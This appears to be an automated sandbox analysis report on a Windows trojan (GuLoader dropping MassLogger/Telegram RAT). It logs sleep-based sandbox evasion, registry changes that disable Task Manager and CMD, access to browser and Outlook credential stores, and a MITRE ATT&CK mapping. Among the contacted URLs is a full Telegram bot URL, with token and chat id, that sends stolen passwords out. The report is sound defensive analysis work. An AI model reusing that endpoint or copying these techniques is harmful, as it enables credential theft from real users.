Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 593485	Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Window / User API: threadDelayed 1576			Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Window / User API: threadDelayed 8229			Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

API coverage: 4.2 %

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -37815825351104557s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 1592	Thread sleep count: 1576 > 30	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -599884s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 1592	Thread sleep count: 8229 > 30	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -599539s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -598953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -598719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -598485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -597222s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -596999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -596846s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -596725s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -596594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -596452s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -596344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -594826s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -594719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -593735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -593610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe TID: 6792	Thread sleep time: -593485s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 0_2_0040672B FindFirstFileW,FindClose,	0_2_0040672B
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 0_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405AFA
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_00402868 FindFirstFileW,	6_2_00402868
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_0040672B FindFirstFileW,FindClose,	6_2_0040672B
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	6_2_00405AFA

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599884	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599539	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597222	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596999	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596846	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596725	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596452	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594826	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Thread delayed: delay time: 593485	Jump to behavior

Source: 9Yn5tjyOgT.exe, 00000006.00000002.3412063078.0000000006748000.00000004.00000020.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3412063078.000000000679D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9Yn5tjyOgT.exe, 00000006.00000002.3412063078.000000000679D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	API call chain: ExitProcess graph end node			graph_0-4591
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	API call chain: ExitProcess graph end node			graph_0-4746

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Code function: 6_2_00401E49 LdrInitializeThunk,ShowWindow,EnableWindow,

6_2_00401E49

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Code function: 0_2_738E1B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_738E1B5F

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Process created: C:\Users\user\Desktop\9Yn5tjyOgT.exe "C:\Users\user\Desktop\9Yn5tjyOgT.exe"

Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Queries volume information: C:\Users\user\Desktop\9Yn5tjyOgT.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004034A5

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9Yn5tjyOgT.exe PID: 6068, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9Yn5tjyOgT.exe PID: 6068, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9Yn5tjyOgT.exe PID: 6068, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9Yn5tjyOgT.exe PID: 6068, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9Yn5tjyOgT.exe PID: 6068, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	215 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	41 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9Yn5tjyOgT.exe	76%	Virustotal		Browse
9Yn5tjyOgT.exe	66%	ReversingLabs	Win32.Trojan.GuLoader
9Yn5tjyOgT.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.185.78	true	false	high
drive.usercontent.google.com	142.250.185.129	true	false	high
reallyfreegeoip.org	104.21.32.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189	false	high
http://checkip.dyndns.org/	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://api.telegram.org	9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F62000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F02000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/I6	9Yn5tjyOgT.exe, 00000006.00000003.2948789931.0000000006836000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065	9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F02000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	9Yn5tjyOgT.exe, 00000006.00000003.2930366052.00000000067B5000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F62000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D63000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F02000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D70000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	9Yn5tjyOgT.exe	false	high
https://drive.usercontent.google.com/)-pr	9Yn5tjyOgT.exe, 00000006.00000003.2930366052.00000000067B5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com	9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/D9o	9Yn5tjyOgT.exe, 00000006.00000002.3433775511.0000000039440000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	9Yn5tjyOgT.exe, 00000006.00000002.3412063078.0000000006748000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D88000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D70000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	9Yn5tjyOgT.exe, 00000006.00000003.2895362637.00000000067F3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F62000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F02000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D70000.00000004.00000800.00020000.00000000.sdmp	false	high
